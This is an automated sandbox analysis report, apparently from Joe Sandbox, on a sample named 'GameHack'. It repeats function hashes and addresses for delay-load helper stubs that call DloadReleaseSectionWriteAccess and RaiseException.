API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 58b7b342e34d0fdbfce6dcf1690795fba1048738901ba5f3fd1af812914ae445
Instruction ID: 1423517925eca8c306e37b56698f669be3cbebcbacde6bcdcb91092ec79288af
Opcode Fuzzy Hash: 58b7b342e34d0fdbfce6dcf1690795fba1048738901ba5f3fd1af812914ae445
Instruction Fuzzy Hash: 5CB012A536D7467C314C71027D66C3B020CD5C0B20330552AB40DF00C1D4809C49B432

Function 00EEE1F9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEE20B

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 36e8a1a06ebddddd59924251c38c6ea2c64ce982c9aa9b33c40d4d1147b81524
Instruction ID: b29ea28365fb08c01a6351a1bd81aa911fe0fb9044426865fc0802c01a94c2db
Opcode Fuzzy Hash: 36e8a1a06ebddddd59924251c38c6ea2c64ce982c9aa9b33c40d4d1147b81524
Instruction Fuzzy Hash: 99B012E136E0457C320C5102BD06C76031CC4C0B60330D01AF305F41C19580DC09B033

Function 00EED942 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f9607761bdd166c11a10ba68093e2fe773c32296e6190b445b1e058f66b73d84
Instruction ID: 03eb42e87939d05c126cdd7f063d71b7b4d843d943327ee6d98af7a612ee60cf
Opcode Fuzzy Hash: f9607761bdd166c11a10ba68093e2fe773c32296e6190b445b1e058f66b73d84
Instruction Fuzzy Hash: 23B012B136D5466C314CB1066E16D3602CCC5C0B20730501AB00DF01C1D6409C067432

Function 00EED92E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: efba1ed4a2e6b784ac65fb95f67f48a1bbe20df53f1c8554f78c69b48deebd8f
Instruction ID: 5bd29ef65574384d80da3cb3b55f28797de7d4658f2b04f218b275ba54a91926
Opcode Fuzzy Hash: efba1ed4a2e6b784ac65fb95f67f48a1bbe20df53f1c8554f78c69b48deebd8f
Instruction Fuzzy Hash: 1BB012A136D5466C314CB1166D16D36028CC5C1B20330901AB50DF01C1D6409C057432

Function 00EED924 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 906929093986084c63e317baf4e52fc58fcc0af0e546d3441aa076b9443ee24d
Instruction ID: 452cada14be7aa6450deb9cce0cb17f011b366da80868498af41291fd1d725ac
Opcode Fuzzy Hash: 906929093986084c63e317baf4e52fc58fcc0af0e546d3441aa076b9443ee24d
Instruction Fuzzy Hash: 96B012A137E4466C314CB1066D56D36028DD9C0B20730501AB14DF01C1D4409C057432

Function 00EED906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: da0db7d89331f0bfc14e23d4622e58db486ecda467506e9eadf1c5a6719b393c
Instruction ID: 42d93dac8ac4e19ccc879507572d686fcfea2fd825fa266ead5a41a8eb92ce15
Opcode Fuzzy Hash: da0db7d89331f0bfc14e23d4622e58db486ecda467506e9eadf1c5a6719b393c
Instruction Fuzzy Hash: 11B012A136E4466C314CB1066D56D36024DC5C1B20730901AB50DF01C1D4409C057432

Function 00EED910 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 813fe96759f991c1a1a620e8b8a60e57a98b8fe34c03c065b395c95663af23b8
Instruction ID: bb5b27f91a7e3c35619e4af8917cad20e4a503cad4efc40731b24ed52860baae
Opcode Fuzzy Hash: 813fe96759f991c1a1a620e8b8a60e57a98b8fe34c03c065b395c95663af23b8
Instruction Fuzzy Hash: 92B012B136E5466C318CB2067D56D36024DC5C0B20730511AB10DF01C1D4809C457432

Function 00EEDACF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9cd24b94ed1e9eea5f41261a005cb6c65648c2823bf49ac50607bfa29e58a3eb
Instruction ID: acb4a77f53e66d6a03c60271e535c40fbe19814277962bdb61d19802e63435e9
Opcode Fuzzy Hash: 9cd24b94ed1e9eea5f41261a005cb6c65648c2823bf49ac50607bfa29e58a3eb
Instruction Fuzzy Hash: 78B012F136D045AC314CB1076C02D7A028CC0C0B20330D12BF40DE0185D4448D08B832

Function 00EEDAD9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cd8efdfdbdb0095263946d183d090bde3835b7d389a7219328447b7325fc3a8f
Instruction ID: c7f5ce07f0d978cf19a41bad486832ff98957f7eb656e3904c0a6dbbd4d623df
Opcode Fuzzy Hash: cd8efdfdbdb0095263946d183d090bde3835b7d389a7219328447b7325fc3a8f
Instruction Fuzzy Hash: E0B012E136D0456C314CB1076D02E7E028DD0C4B20330952BF00DE0185D4408C0DB432

Function 00EEDBE8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDBD5

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 08bb128b9c10ee79eab660da1f0ef247f955e11371bfe4a4aeba4f597a99d14a
Instruction ID: 22c4dcdea2e403c679ef372db42fc2086a984a25cc05d615c2df8e2479aea511
Opcode Fuzzy Hash: 08bb128b9c10ee79eab660da1f0ef247f955e11371bfe4a4aeba4f597a99d14a
Instruction Fuzzy Hash: AEB012E537C04BAC314C92066C07E7702ACD0C0B20330A01AF409F11C1EA408C0CB032

Function 00EEDBFC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDBD5

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4b25e4dde1e6e724335423d5dc0750d26de26dc21e1c2e1df82786079be4f8c3
Instruction ID: 0432a145acd6af0ded2ff3e397e6cd009921e3090184455f26fbee8ee2d66e23
Opcode Fuzzy Hash: 4b25e4dde1e6e724335423d5dc0750d26de26dc21e1c2e1df82786079be4f8c3
Instruction Fuzzy Hash: C8B012E537C08B6C314C92066D07E77025CD0C0B20330A01AF109F01C1EA408C09B032

Function 00EEDBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDBD5

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 55c76b4888d4f95a2273c0d94346c41c0ab7c60f805a59e7f1950b6b66c416a3
Instruction ID: 7110c4349d7782c4d75016b0f86e60135d7a46c23187489e778ea74ca2ac08eb
Opcode Fuzzy Hash: 55c76b4888d4f95a2273c0d94346c41c0ab7c60f805a59e7f1950b6b66c416a3
Instruction Fuzzy Hash: EDB012E537C14F7C324C52027C07D77021CD0C0B20330612AF005F00C1EA408C4CB032

Function 00EEDBDE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDBD5

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0d4dc8f92b8edc433b6b16c36a277e0a1ca964604d7bf53b40ab369b3d0decdd
Instruction ID: 1d4b5f6f2c97b3d3a47392c8a774127ad5762c8fa56790f69da47106925bc8e4
Opcode Fuzzy Hash: 0d4dc8f92b8edc433b6b16c36a277e0a1ca964604d7bf53b40ab369b3d0decdd
Instruction Fuzzy Hash: 02B012E537C04AAC314C92166D07F76025CE0C0B20330602AF00AF01C1EA408C0CB032

Function 00EEDB01 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cc06a96339f1fa0e1b5dc7a10f3ffdfa395100ac8bc4623087febce7bf9fa038
Instruction ID: f00d59d9fc19f3d4b023676653e3133dc22bcc9d325955e07b374e13031bce97
Opcode Fuzzy Hash: cc06a96339f1fa0e1b5dc7a10f3ffdfa395100ac8bc4623087febce7bf9fa038
Instruction Fuzzy Hash: 2FB012E13AD1496C714CB1076D02E7A028DF0C0B20330512BF00DE0185D5408C08B532

Function 00EEDC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDC36

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 78b89c05f7188f38aacee93c4c4de3d0e8a5e659b92a34d56d324123d3813338
Instruction ID: 88d39b7be6767d534a951f2061ba1f9303f65ada380e3ac0a054564a93d6d305
Opcode Fuzzy Hash: 78b89c05f7188f38aacee93c4c4de3d0e8a5e659b92a34d56d324123d3813338
Instruction Fuzzy Hash: D5B012A537C6456C714CB10AAD02D7E026CD1C0B60330551BF109F02C2D580DC04B032

Function 00EEDC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDC36

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dbbc7f1ed09e9632a7adbe1ef20afea48a40f9c73a29818c8b34c39198fa8e1d
Instruction ID: 2381d139ad0871a1480231edefeadc0c15291995cd2a2e92b5db82ea7b1015ea
Opcode Fuzzy Hash: dbbc7f1ed09e9632a7adbe1ef20afea48a40f9c73a29818c8b34c39198fa8e1d
Instruction Fuzzy Hash: 40B012A536C5456C714CB10AAD02D7E026CC1C4B60330951AF509F02C2D5809C04B032

Function 00EEDC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDC36

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 86bce9911f21dfd8a040a3294a3bfced4802977e96f6121c86d904947914ba34
Instruction ID: b374052fbeb6e59d25a7476cc2dab12eb1b0c1320b7bed0e2b7fc14f9517ccbe
Opcode Fuzzy Hash: 86bce9911f21dfd8a040a3294a3bfced4802977e96f6121c86d904947914ba34
Instruction Fuzzy Hash: DAB012A536C6497C714C7106BF02C7E422CC2C0B60330561AF105F01C295C09C44B032

Function 00EED8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
